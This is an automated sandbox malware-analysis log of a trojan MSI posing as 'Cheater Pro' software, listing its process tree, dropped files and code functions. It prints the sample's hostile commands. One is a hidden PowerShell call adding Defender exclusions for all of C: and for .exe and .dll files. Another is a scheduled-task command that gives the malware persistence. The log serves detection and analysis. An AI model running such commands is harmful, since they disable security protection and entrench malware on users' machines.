Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

File dump: connect.exe.11.dr 1085907457

Jump to dropped file

Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Code function: 20_2_03B84C28 CreateProcessAsUserA,

20_2_03B84C28

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Installer\6b20ed.msi

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI24A6.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_02B5B738	7_2_02B5B738
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_02B5B728	7_2_02B5B728
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF7189F5530	13_2_00007FF7189F5530
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A329C0	13_2_00007FF718A329C0
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A299C0	13_2_00007FF718A299C0
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A5C9AC	13_2_00007FF718A5C9AC
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A18A00	13_2_00007FF718A18A00
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A74B08	13_2_00007FF718A74B08
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A47B10	13_2_00007FF718A47B10
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A81AFC	13_2_00007FF718A81AFC
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A3AB00	13_2_00007FF718A3AB00
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A75A20	13_2_00007FF718A75A20
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A00A60	13_2_00007FF718A00A60
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A1FA70	13_2_00007FF718A1FA70
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A7BA58	13_2_00007FF718A7BA58
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF7189F6A70	13_2_00007FF7189F6A70
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A58B34	13_2_00007FF718A58B34
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A82C9C	13_2_00007FF718A82C9C
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A67E04	13_2_00007FF718A67E04
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A82D80	13_2_00007FF718A82D80
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF7189FBEE0	13_2_00007FF7189FBEE0
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A57E50	13_2_00007FF718A57E50
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A26E40	13_2_00007FF718A26E40
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A58E28	13_2_00007FF718A58E28
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A1EE80	13_2_00007FF718A1EE80
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF7189FBFC0	13_2_00007FF7189FBFC0
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A83014	13_2_00007FF718A83014
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A67F20	13_2_00007FF718A67F20
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF7189FAF80	13_2_00007FF7189FAF80
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A01F90	13_2_00007FF718A01F90
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A8BF78	13_2_00007FF718A8BF78
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A580D4	13_2_00007FF718A580D4
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A260C0	13_2_00007FF718A260C0
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A7B04C	13_2_00007FF718A7B04C
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A68040	13_2_00007FF718A68040
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A1A070	13_2_00007FF718A1A070
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF7189E81A0	13_2_00007FF7189E81A0
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A5D1FC	13_2_00007FF718A5D1FC
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A6815C	13_2_00007FF718A6815C
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A65164	13_2_00007FF718A65164
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A292B0	13_2_00007FF718A292B0
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A80310	13_2_00007FF718A80310
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A1FA70	13_2_00007FF718A1FA70
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A33220	13_2_00007FF718A33220
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A2C260	13_2_00007FF718A2C260
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A3A380	13_2_00007FF718A3A380
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A58370	13_2_00007FF718A58370
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A77360	13_2_00007FF718A77360
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A3847C	13_2_00007FF718A3847C
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A7654C	13_2_00007FF718A7654C
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A2E540	13_2_00007FF718A2E540
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A83594	13_2_00007FF718A83594
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A67560	13_2_00007FF718A67560
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A0F6F0	13_2_00007FF718A0F6F0
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A65664	13_2_00007FF718A65664
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A707C8	13_2_00007FF718A707C8
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF7189F9760	13_2_00007FF7189F9760
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A758A4	13_2_00007FF718A758A4
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A58854	13_2_00007FF718A58854
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A7C81C	13_2_00007FF718A7C81C
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Code function: 13_2_00007FF718A1D820	13_2_00007FF718A1D820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00417040	21_2_00417040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00401000	21_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00425810	21_2_00425810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0042A020	21_2_0042A020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00446880	21_2_00446880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00444150	21_2_00444150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0045490D	21_2_0045490D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00447110	21_2_00447110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_004031F0	21_2_004031F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00443980	21_2_00443980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_004419A0	21_2_004419A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_004071B0	21_2_004071B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0042A1B0	21_2_0042A1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00428270	21_2_00428270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0044FA7B	21_2_0044FA7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0042FA20	21_2_0042FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0040D2F0	21_2_0040D2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0040B2A0	21_2_0040B2A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00442B50	21_2_00442B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0040DBE0	21_2_0040DBE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0042B380	21_2_0042B380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00404B90	21_2_00404B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00429390	21_2_00429390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0042AB90	21_2_0042AB90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00450BA3	21_2_00450BA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00461C67	21_2_00461C67
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0042BC60	21_2_0042BC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00428420	21_2_00428420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00405430	21_2_00405430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00428CD0	21_2_00428CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_004424D0	21_2_004424D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0042A490	21_2_0042A490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_004474B0	21_2_004474B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00461D1F	21_2_00461D1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0042D5C0	21_2_0042D5C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0040B5F0	21_2_0040B5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00446DA0	21_2_00446DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0042E5B0	21_2_0042E5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00426E50	21_2_00426E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00442E60	21_2_00442E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00443600	21_2_00443600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00464E1C	21_2_00464E1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0040D630	21_2_0040D630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0040A6D0	21_2_0040A6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_004066D0	21_2_004066D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00402680	21_2_00402680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_004076B0	21_2_004076B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0042C740	21_2_0042C740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0045FF6E	21_2_0045FF6E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0040CF00	21_2_0040CF00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_0044AF10	21_2_0044AF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_004047E0	21_2_004047E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00448FF0	21_2_00448FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_004487A0	21_2_004487A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_00453FA0	21_2_00453FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 21_2_004437B0	21_2_004437B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: String function: 004437B0 appears 35 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: String function: 0044BF10 appears 35 times

Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi	Binary or memory string: OriginalFilenameAICustAct.dllF vs SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi	Binary or memory string: OriginalFilenameSoftwareDetector.dllF vs SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi	Binary or memory string: OriginalFilenameaischeduler.dllF vs SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi
Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi	Binary or memory string: OriginalFilenamePowerShellScriptLauncher.dllF vs SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi

Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior

Source: classification engine

Classification label: mal93.troj.evad.winMSI@25/56@4/4

Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Code function: 13_2_00007FF718A3B3F0 GetLastError,FormatMessageA,

13_2_00007FF718A3B3F0

Source: C:\Windows\System32\msiexec.exe

File created: C:\Program Files (x86)\Cheater Pro Inc

Jump to behavior

Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\json[1].json

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5948:120:WilError_03
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Mutant created: \Sessions\1\BaseNamedObjects\Tree732
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1656:120:WilError_03

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Local\Temp\MSI1005.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding A85B4FF1784BEC87258FF128D188C24C C
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding B3E03B019F939F49F4DAB01F62926825
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss270A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msi26F8.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scr26F9.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scr26FA.txt" -propSep " :<->: " -testPrefix "_testValue."
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -Command "& { & 'Add-MpPreference' -ExclusionExtension '.dll', '.exe' -ExclusionPath C: -Force }
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding CDCA23E181F377D7B87D52A0F3A49202 E Global\MSI0000
Source: unknown	Process created: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /st 14:58 /f /tn "LuaJIT" /tr ""C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file""
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file
Source: unknown	Process created: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Process created: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding A85B4FF1784BEC87258FF128D188C24C C	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding B3E03B019F939F49F4DAB01F62926825	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding CDCA23E181F377D7B87D52A0F3A49202 E Global\MSI0000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss270A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msi26F8.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scr26F9.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scr26FA.txt" -propSep " :<->: " -testPrefix "_testValue."	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -Command "& { & 'Add-MpPreference' -ExclusionExtension '.dll', '.exe' -ExclusionPath C: -Force }	Jump to behavior
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /st 14:58 /f /tn "LuaJIT" /tr ""C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file""	Jump to behavior
Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	Process created: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior

Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Automated click: Install
Source: C:\Windows\SysWOW64\msiexec.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi

Static file information: File size 3033088 > 1048576

Source:	Binary string: C:\JobRelease\win\Release\custact\x86\PowerShellScriptLauncher.pdb\ source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, 6b20ed.msi.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdbb source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, 6b20ed.msi.2.dr, MSI11D0.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, 6b20ed.msi.2.dr, MSI11D0.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\PowerShellScriptLauncher.pdb source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, 6b20ed.msi.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI1379.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbn source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI1379.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\aischeduler2.pdb source: SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, 6b20ed.msi.2.dr, 6b20ee.rbs.2.dr

Data Obfuscation

Suspicious powershell command line found

